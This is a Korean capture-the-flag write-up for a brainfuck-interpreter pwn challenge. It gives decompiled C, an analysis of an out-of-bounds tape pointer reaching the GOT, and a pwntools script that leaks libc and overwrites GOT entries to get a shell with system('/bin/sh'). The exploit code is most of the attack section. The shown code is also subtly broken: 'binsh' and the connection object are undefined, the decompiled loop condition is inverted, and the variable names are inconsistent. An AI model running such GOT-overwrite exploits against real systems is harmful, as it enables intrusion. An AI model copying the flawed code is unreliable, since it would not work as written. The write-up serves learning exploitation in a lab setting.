int main(void)
{
size_t sVar1;
int in_GS_OFFSET;
int i;
char s [1024];
int local_14;
local_14 = *(int *)(in_GS_OFFSET + 0x14);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
p = &tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(local_414,0,0x400);
fgets(local_414,0x400,stdin);
i = 0;
while( true ) {
len = strlen(s);
if (i <= len) break;
do_brainfuck(s[i]);
i+=1;
}
if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
문제파일을 다운로드하면, 실행파일과 라이브러리를 준다.
기드라로 분석해서 변수이름 보기가 불편할수도있다.
입맛에 맞게 수정해봤다.
전역변수 p 는 tape 로 초기화시킨다.
0x080486de <+109>: mov DWORD PTR ds:0x804a080,0x804a0a0
tape의 주소는 0x804a0a0
크기가 1024인 문자배열을 선언하고,
fgets 로 1024만큼 입력을 받는다
그리고 입력받은길이만큼 한글자씩 do_brainfuck 함수 호출한다.
스택을체크하는
Canery 메모리보호기법 이 적용되어있다.
void do_brainfuck(undefined param_1)
{
char *pcVar1;
int iVar2;
pcVar1 = p;
switch(param_1) {
case '+':
*p = *p + '\x01';
break;
case ',':
iVar2 = getchar();
*pcVar1 = (char)iVar2;
break;
case '-':
*p = *p + -1;
break;
case '.':
putchar((int)*p);
break;
case '<':
p = p + -1;
break;
case '>':
p = p + 1;
break;
case 0x5b:
puts("[ and ] not supported.");
}
return;
}
return;
}
brainfuck 언어는 +,-.<> 같은 문자들로 이루어진 난해한 언어이다.
brainfuck 언어를 구현하고있는것같다.
+ : 문자값증가
, : 문자하나입력받음
- : 문자값감소
. : 포인터값출력
< : 포인터감소
> : 포인터증가
카나리와 NX 가 적용되어있고,
PIE 가적용되어있지않고,
RELRO가 Partial 이기때문에
GOT overwrite 로 풀어야겠다.
< 문자로 포인터값을 감소시켜서 p 에서 tape 를 넘어
GOT 주소까지 접근해
.<.<.<. 이런식으로 메모리를 leak 시킬 수 있다.
라이브러리가 주어지기때문에,
/bin/sh 문자열과 system 함수의 offset 을 구할 수 있다.
- < 연산자로 포인터 이동 후 stdout, putchar, setvbuf 의 got 주소에 ,>,>,>, 입력해 got조작
- stdout 에는 .>.>.>. 도 입력해 stdout 의 got 주소 leak, 마지막은 . 을 붙여 페이로드전송
- leak 한 got 주소로 libc_base 구하기
- system, /bin/sh 의 주소 구하기
- putchar -> main(), stdout -> /bin/sh, setvbuf -> system 으로 수정
- 페이로드 전송
tape 가 0x804a0a0 에 있으므로
stdout, putchar, setvbuf 순서대로 값을 수정한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
from pwn import *
#p=process('./bf')
#context.log_level='debug'
b=ELF('./bf')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc=ELF('./bf_libc.so')
tape=0x804a0a0
pay1=""
pay1+='<'*(tape-b.got['stdout'])
pay1+='.>.>.>.'+'<<<'
pay1+=',>,>,>,'+'<<<'
pay1+='<'*(b.got['stdout']-b.got['putchar'])
pay1+=',>,>,>,'+'<<<'
pay1+='<'*(b.got['putchar']-b.got['setvbuf'])
pay1+=',>,>,>,'+'<<<'
pay1+='.'
p.recvuntil('[ ]\n')
p.sendline(pay1)
sleep(1)
libc_base=u32(p.recv(4))-libc.symbols['stdout']+0x9c
system=libc_base+libc.symbols['system']
pay2=""
pay2+=p32(binsh)
pay2+=p32(b.symbols['main'])
pay2+=p32(system)
p.sendline(pay2)
p.interactive()
|
코드를 자세히 보세요.
sleep 를 쓰는 이유는, 서버가 느린건지 값을 조금있다가줘서 recv 에러가 나기때문입니다
libc base 에 0x9c 를 더해주는 이유는
로컬에서 SIGSEGV 에러가 나서 코어를 까보니, lib_base+system_offset 과 0x9c 차이가 나는걸 확인할 수 있습니다
libc.so.6 라이브러리로 system offset 을 가져왔을때 0x9c 가 차이가나서,
문제서버에 문제서버라이브러리로 system offset 을 가져와서 실행했을때도 에러가나서
로컬과 똑같이 lib_base 에 0x9c 를 더해주었더니, 해결됐다.